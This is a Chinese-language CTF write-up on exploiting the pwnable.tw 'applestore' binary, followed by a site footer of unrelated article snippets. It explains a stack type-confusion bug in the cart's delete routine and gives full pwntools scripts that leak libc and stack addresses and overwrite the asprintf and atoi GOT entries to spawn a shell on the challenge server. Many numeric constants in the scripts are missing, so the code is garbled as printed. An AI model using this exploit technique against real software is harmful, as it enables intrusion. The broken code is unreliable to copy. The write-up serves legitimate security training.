I is so vegetable:(,我tcl又由于忙于毕设和各种比赛各种耽误,到今天才真正把这题搞出来

存储结构

0x804B070链表头
struct _mycart_binlist
{
int *name; //ebp-0x20
int price; //ebp-0x1c
struct _mycart_binlist *next; //ebp-0x18
struct _mycart_binlist *pre; //ebp-0x14
}

insert

int __cdecl insert(int a1)
{
int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h] for ( i = &myCart; i[]; i = (_DWORD *)i[] )
;
i[] = a1; // the_last_mycart->next=inserted
result = a1;
*(_DWORD *)(a1 + ) = i; // inserted->pre=the_last_mycart
return result;
}

checkout

unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch] v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = ; // price=1
insert((int)&v2);
v1 = ;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}

这里存在问题的应该是checkout的insert,用贪心的思想求解下v1=7174各个商品的数量

*=
*=
*=
*=
*=
*=
*=
*=
*=
*= -*=
100x+200y+300z= =>x+2y+3z=
x+y+z=
=>y+2z=
y= z=
x= c=
199x 299y 399z 499c

写个脚本验证下

from pwn import *

context.log_level='DEBUG'

p=process('./applestore')

def add(idx):
    p.sendlineafter('>','2')
    p.sendlineafter('Device Number> ',str(idx)) for i in range(0,18):
    add(1)
add(2)
for i in range(0,2):
    add(4)
for i in range(0,5):
    add(3) gdb.attach(p,gdbscript='b *0x08048B98\n') p.interactive()

这里存在的问题是delete时执行my_read直接在栈中保存输入的字符串引起一个类型混淆,利用delete双向链表的断链操作DWORD_SHOOT得到一个任意地址写的机会,修改GOT即可导致任意代码执行。

unsigned int delete()
{
signed int idx; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int delete_obj; // [esp+18h] [ebp-30h]
int next; // [esp+1Ch] [ebp-2Ch]
int pre; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch] v7 = __readgsdword(0x14u);
idx = ;
v2 = (_DWORD *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u); // 栈里边直接保存输入的字符串,虽然不会溢出,但这里会造成类型混淆
delete_obj = atoi(&nptr);
while ( v2 )
{
if ( idx == delete_obj )
{
next = v2[]; // next
pre = v2[]; // pre
if ( pre )
*(_DWORD *)(pre + ) = next; // victim->pre->next=victim->next
if ( next )
*(_DWORD *)(next + ) = pre; // victim->next->pre=victim->pre
printf("Remove %d:%s from your shopping cart.\n", idx, *v2);
return __readgsdword(0x14u) ^ v7;
}
++idx;
v2 = (_DWORD *)v2[];
}
return __readgsdword(0x14u) ^ v7;
}

这里引起类型混淆的本质原因是我们执行checkout插入的V2距离ebp为EBP-20H,执行完checkout只是抬高栈帧,并不会销毁函数栈;而此时我们调用delete,会在调用checkout结束的位置开辟栈帧,这样得到的函数栈就和checkout的函数栈重叠,而delete会在栈中直接保存输入的字符串(EBP-22H的位置),就会引起一次类型混淆

handler    ebp___

        38h

        esp__
checkout ebp__ delete ebp__     38h    48h
     V2=ebp-20h nptr=ebp-22h     esp__ esp__

DWORD_SHOT并不可行,如果我们如下构造struct执行DWORD_SHOT的话,虽然GOT表可写,但是由于双向链表断链过程会执行victim->pre=victim->next,即read@got会写入*system@got+12的位置,而*system@got+12位于libc text段,肯定不可写,这里会崩溃。

struct
{
*name => padding
price => padding
*nexe => read@got
*pre => system@got
}

以下脚本可以验证DWORD_SHOT不可行。so,how to get it pwned?

from pwn import *

context.log_level='DEBUG'

p=process('./applestore')
elf=ELF('./applestore')
libc=ELF('/lib/i386-linux-gnu/libc-2.28.so') def add(idx):
p.sendlineafter('>','')
p.sendlineafter('Device Number> ',str(idx)) def delete(idx):
p.sendlineafter('>','')
p.sendlineafter('Item Number>',str(idx)) def checkout():
p.sendlineafter('>','')
p.sendlineafter('>','y') def cart(payload):
p.sendlineafter('>','')
p.sendlineafter('>',str(payload)) for i in range(,):
add()
add()
for i in range(,):
add()
for i in range(,):
add() checkout() payload='y\x0a'+p32(elf.got['read'])+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
read_got=u32(p.recv())
libc_base=read_got-libc.sym['read']
success('libc_base:'+hex(libc_base))
success('read_got:'+hex(read_got)) #gdb.attach(p,gdbscript='b *0x08048B98\n') #b insert()
gdb.attach(p,gdbscript='''
b *0x080489F0
break *0x080489FB if $[$ebp-0x38]==
''') #b delete_obj sys_got=libc_base+libc.sym['system']
success('system:'+hex(sys_got))
payload='\x32\x37\x00\x20'+'b'*+p32(read_got-)+p32(sys_got)
delete(payload) #gdb.attach(p,gdbscript='b *0x080489FB\n') p.interactive()

由于delete中我们有一次任意地址写的机会,而在执行完delete返回到handler时会再次引用栈内存ebp-0x22(在这个位置读入),所以我们考虑修改ebp的值,进而覆盖asprintf@got和atoi@got(这两个got的地址是相邻的),asprintf@got覆盖成'$0\x00\x00‘(4字节),atoi@got覆盖成sys_addr即可。这样在0x8048c16执行atoi时即执行system('$0')即可getshell

from pwn import *

context.log_level='DEBUG'

elf=ELF('./applestore')
local=
if local:
p=process('./applestore')
libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
else:
p=remote('chall.pwnable.tw',)
libc=ELF('./libc_32.so.6') def add(idx):
p.sendlineafter('>','')
p.sendlineafter('Device Number> ',str(idx)) def delete(idx):
p.sendlineafter('>','')
p.sendlineafter('Item Number>',str(idx)) def checkout():
p.sendlineafter('>','')
p.sendlineafter('>','y') def cart(payload):
p.sendlineafter('>','')
p.sendlineafter('>',str(payload)) for i in range(,):
add()
add()
for i in range(,):
add()
for i in range(,):
add() checkout() payload='y\x0a'+p32(elf.got['read'])+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
read_got=u32(p.recv())
libc.address=read_got-libc.sym['read']
env=libc.sym['environ']
success('libc_base:'+hex(libc.address))
success('read_got:'+hex(read_got)) payload='y\x0a'+p32(env)+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
stack_env=u32(p.recv())
success('stack_env:'+hex(stack_env))
ebp=stack_env-0x104
success('stack_ebp:'+hex(ebp)) asprintf_got=elf.got['asprintf']
atoi_got=elf.got['atoi']
sys=libc.sym['system']
payload=''+p32(sys)+p32()+p32(ebp-)+p32(asprintf_got+0x22) if local:
gdb.attach(p,gdbscript='''
b *0x080489F0\n
b *0x08048A6F\n
b *0x8048c0b\n
''')
pause()
delete(payload) p.recvuntil('from your shopping cart.')
payload='$0\x00\x00'+p32(sys)
p.sendline(payload) p.interactive()

pwnable.tw applestore的更多相关文章

  1. pwnable.tw applestore 分析

    此题第一步凑齐7174进入漏洞地点 然后可以把iphone8的结构体中的地址通过read修改为一个.got表地址,这样就能把libc中该函数地址打出来.这是因为read函数并不会在遇到\x00时截断( ...

  2. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  3. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  4. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  5. pwnable.tw calc

    题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...

  6. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  7. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  8. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  9. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

随机推荐

  1. SQL 之 字符区别(转)

    1.CHAR.CHAR存储定长数据很方便,CHAR字段上的索引效率级高,比如定义char(10),那么不论你存储的数据是否达到了10个字节,都要占去10个字节的空间,不足的自动用空格填充,所以在读取的 ...

  2. 微信小程序-表单笔记2

    本地添加4张图片并显示至页面——组件位置.设置样式.列表渲染 Q.button是一张图片,需要实现点击这张图片后选择本地图片后显示至页面,不知道怎么让本地图片将button挤到右边  S.在wxml中 ...

  3. java中的“空格”用trim()无法去除?原来是这样!

    原因: 从txt文件中读取一些数据导入mysql数据库,导入数据库之后发现有一个字段的前面有两个“空格”,后来在代码里我尝试用trim().replace()等方法去除,发现怎么也去不掉,于是我将字符 ...

  4. easyui判断下拉列表

    {field:'state',title:'状态',width:100, formatter : function(value, row, index){ if (value == 0) { retu ...

  5. ubuntu下python跑任务输出到文件中遇到的一些问题(输出重定向)

    之前主要是参考https://www.cnblogs.com/chason95/articles/9760291.html 一般使用 python test.py > ./log.txt 或 p ...

  6. oracle篇 之 单行函数

    一.分类 1.单行函数:需要处理的行数和返回结果的行数相等(单行进单行出) 2.多行函数(组函数):返回结果的行数少于要处理的行数(多行进单行出) 二.字符处理相关函数 1.lower:字符串转换成小 ...

  7. tar.gz,直接解压可用?还是需要编译安装?

    在linux搭建环境,下载的tar.gz安装包,有的直接解压就可以用,有的需要编译安装后才可用 怎么知道该怎么操作呢? 其实,tar -zxvf解压后,进入目录看README.md就知道答案了 另外, ...

  8. [AH2017/HNOI2017]大佬

    题目描述 人们总是难免会碰到大佬.他们趾高气昂地谈论凡人不能理解的算法和数据结构,走到任何一个地方,大佬的气场就能让周围的人吓得瑟瑟发抖,不敢言语. 你作为一个 OIER,面对这样的事情非常不开心,于 ...

  9. Kafka分区分配策略(Partition Assignment Strategy

    问题 用过 Kafka 的同学用过都知道,每个 Topic 一般会有很多个 partitions.为了使得我们能够及时消费消息,我们也可能会启动多个 Consumer 去消费,而每个 Consumer ...

  10. cookie-闲聊

    最近练习时对cookie接触较多,所以就着cookie的Domain与path属性闲聊几句. 首先,对于cookie要明确,cookie可以由自身属性确定哪些站点可以看到相应的cookie.毕竟一个浏 ...